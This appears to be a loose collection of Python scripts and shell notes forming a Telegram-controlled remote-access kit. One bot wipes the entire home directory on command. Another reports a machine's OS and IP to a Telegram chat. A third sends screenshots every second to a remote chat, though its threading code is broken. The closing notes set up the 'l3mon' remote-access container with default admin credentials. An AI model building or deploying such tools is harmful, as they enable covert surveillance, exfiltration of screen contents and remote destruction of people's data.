import os
import shutil
import logging
from telegram import Update
from telegram.ext import ApplicationBuilder, CommandHandler, ContextTypes

# Enable logging
logging.basicConfig(
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO
)
logger = logging.getLogger(__name__)

TOKEN = 'YOUR_TELEGRAM_BOT_TOKEN'
AUTHORIZED_USER_ID = 'YOUR_TELEGRAM_USER_ID'  # Replace with your Telegram user ID (int)

def hard_reset():
    home_dir = os.path.expanduser("~")
    for root, dirs, files in os.walk(home_dir, topdown=False):
        for name in files:
            try:
                os.remove(os.path.join(root, name))
            except Exception as e:
                logger.error(f"Failed to delete file {name}: {e}")
        for name in dirs:
            try:
                shutil.rmtree(os.path.join(root, name))
            except Exception as e:
                logger.error(f"Failed to delete directory {name}: {e}")

async def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
    await update.message.reply_text('Hello! Send /hardreset to wipe all data.')

async def hardreset_command(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
    user = update.effective_user
    if user.id != AUTHORIZED_USER_ID:
        await update.message.reply_text("Unauthorized access.")
        return

    await update.message.reply_text("Starting hard reset...")
    try:
        hard_reset()
        await update.message.reply_text("Hard reset completed.")
    except Exception as e:
        await update.message.reply_text(f"Error during hard reset: {e}")

def main():
    app = ApplicationBuilder().token(TOKEN).build()

    app.add_handler(CommandHandler("start", start))
    app.add_handler(CommandHandler("hardreset", hardreset_command))

    app.run_polling()

if __name__ == '__main__':
    main()

import requests
import socket
import platform

TOKEN = 'YOUR_BOT_TOKEN'
CHAT_ID = 'YOUR_CHAT_ID'

def get_local_ip():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("192.168.1.1", 80))
        ip = s.getsockname()[0]
        s.close()
        return ip
    except:
        return "Could not determine IP"

def send_message():
    ip = get_local_ip()
    msg = f"OS: {platform.system()}\nIP: {ip} is up"
    url = f"https://api.telegram.org/bot{TOKEN}/sendMessage"
    requests.post(url, data={'chat_id': CHAT_ID, 'text': msg})

if __name__ == "__main__":
    send_message()

import os
import time
import threading
import pyautogui
import cv2
import numpy as np
from telegram import Update
from telegram.ext import Updater, CommandHandler, CallbackContext

# Global variable to control the screenshot thread
screenshot_thread = None
screenshot_interval = 0
is_running = False
user_chat_id = None

def start(update: Update, context: CallbackContext):
    update.message.reply_text('Welcome to Screenshot Bot! Use /screenshot <duration> to start taking screenshots.')

def screenshot(update: Update, context: CallbackContext):
    global screenshot_thread, screenshot_interval, is_running, user_chat_id
    if is_running:
        update.message.reply_text('Screenshot process is already running.')
        return

    try:
        duration = context.args[0]  # Get the duration from the command
        if duration.endswith('m'):
            duration = int(duration[:-1]) * 60  # Convert to seconds
        else:
            update.message.reply_text('Please specify duration in minutes (e.g., 1m).')
            return
        
        user_chat_id = update.message.chat_id
        screenshot_interval = 1  # Interval of 1 second for taking screenshots
        is_running = True
        update.message.reply_text(f'Starting screenshot every {screenshot_interval} second(s) for {duration} seconds.')
        
        # Start the screenshot thread
        screenshot_thread = threading.Thread(target=take_screenshots, args=(duration,))
        screenshot_thread.start()

    except (IndexError, ValueError):
        update.message.reply_text('Usage: /screenshot <duration in minutes (e.g., 1m)>')

def take_screenshots(duration):
    start_time = time.time()
    while (time.time() - start_time) < duration:
        # Take a screenshot
        screenshot = pyautogui.screenshot()
        screenshot_np = cv2.cvtColor(np.array(screenshot), cv2.COLOR_RGB2BGR)
        file_path = 'screenshot.png'
        cv2.imwrite(file_path, screenshot_np)  # Save the screenshot
        # Send the screenshot to the user
        context.bot.send_photo(chat_id=user_chat_id, photo=open(file_path, 'rb'))
        time.sleep(screenshot_interval)

    global is_running
    is_running = False
    screenshot_thread = None

def stop(update: Update, context: CallbackContext):
    global is_running
    if is_running:
        is_running = False
        update.message.reply_text('Screenshot process stopped.')
    else:
        update.message.reply_text('No active screenshot process to stop.')

def main():
    # Replace 'YOUR_TOKEN' with your bot's token
    updater = Updater('YOUR_TOKEN', use_context=True)
    dp = updater.dispatcher

    dp.add_handler(CommandHandler("start", start))
    dp.add_handler(CommandHandler("screenshot", screenshot))
    dp.add_handler(CommandHandler("stop", stop))

    updater.start_polling()
    updater.idle()

if __name__ == '__main__':
    main()

sudo apt update && sudo apt upgrade -y
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

docker pull efxtv/l3mon

docker run -d -p 22533:22533 -p 22222:22222 -p 2222:22 --name l3mon efxtv/l3mon

docker exec -it ContainerID bash

http://localhost:22533/

login: admin
pass: efxtv

$ app2telegrambotintWorkingLowQuality.py <N> <T> <C>

python3 app.py

$ pkill -f app.py